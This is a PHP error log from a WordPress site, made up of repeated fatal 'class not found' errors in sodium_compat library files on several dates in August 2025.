[14-Aug-2025 06:10:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[14-Aug-2025 06:10:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[20-Aug-2025 23:27:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[20-Aug-2025 23:27:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[20-Aug-2025 23:27:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[20-Aug-2025 23:27:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[20-Aug-2025 23:27:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[20-Aug-2025 23:27:11 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[20-Aug-2025 23:27:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[20-Aug-2025 23:27:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[20-Aug-2025 23:27:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[20-Aug-2025 23:27:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[20-Aug-2025 23:27:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[20-Aug-2025 23:27:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[20-Aug-2025 23:27:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[20-Aug-2025 23:27:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[20-Aug-2025 23:27:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[20-Aug-2025 23:27:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[21-Aug-2025 21:37:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[21-Aug-2025 21:37:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[21-Aug-2025 21:37:28 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[21-Aug-2025 21:37:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[21-Aug-2025 21:37:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[21-Aug-2025 21:37:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[21-Aug-2025 21:38:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[21-Aug-2025 21:38:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[21-Aug-2025 21:38:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[21-Aug-2025 21:39:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[21-Aug-2025 21:39:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[21-Aug-2025 21:40:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[21-Aug-2025 21:40:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[21-Aug-2025 21:41:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[21-Aug-2025 21:42:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[21-Aug-2025 21:43:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[22-Aug-2025 21:14:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[22-Aug-2025 21:14:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[22-Aug-2025 21:14:12 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[22-Aug-2025 21:14:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[22-Aug-2025 21:14:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[22-Aug-2025 21:14:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[22-Aug-2025 21:14:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[22-Aug-2025 21:14:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[22-Aug-2025 21:14:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[22-Aug-2025 21:14:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[22-Aug-2025 21:14:28 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[22-Aug-2025 21:14:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[22-Aug-2025 21:14:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[22-Aug-2025 21:14:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[22-Aug-2025 21:14:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[22-Aug-2025 21:14:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[22-Aug-2025 21:14:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[22-Aug-2025 21:14:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[22-Aug-2025 21:14:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[22-Aug-2025 21:14:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[22-Aug-2025 21:14:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[22-Aug-2025 21:14:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[22-Aug-2025 21:14:50 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[22-Aug-2025 21:14:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[22-Aug-2025 21:14:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[22-Aug-2025 21:14:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[22-Aug-2025 21:15:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[22-Aug-2025 21:15:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[22-Aug-2025 21:15:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[22-Aug-2025 21:15:12 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[22-Aug-2025 21:15:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[22-Aug-2025 21:15:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[26-Aug-2025 06:27:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[26-Aug-2025 06:27:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[26-Aug-2025 06:27:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[26-Aug-2025 06:27:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[26-Aug-2025 06:27:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[26-Aug-2025 06:27:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[26-Aug-2025 06:27:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[26-Aug-2025 06:27:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[26-Aug-2025 06:27:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[26-Aug-2025 06:27:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[26-Aug-2025 06:27:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[26-Aug-2025 06:27:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[26-Aug-2025 06:27:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[26-Aug-2025 06:27:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[26-Aug-2025 06:27:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[26-Aug-2025 06:27:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[26-Aug-2025 06:36:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[26-Aug-2025 06:36:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[26-Aug-2025 06:36:15 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[26-Aug-2025 06:36:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
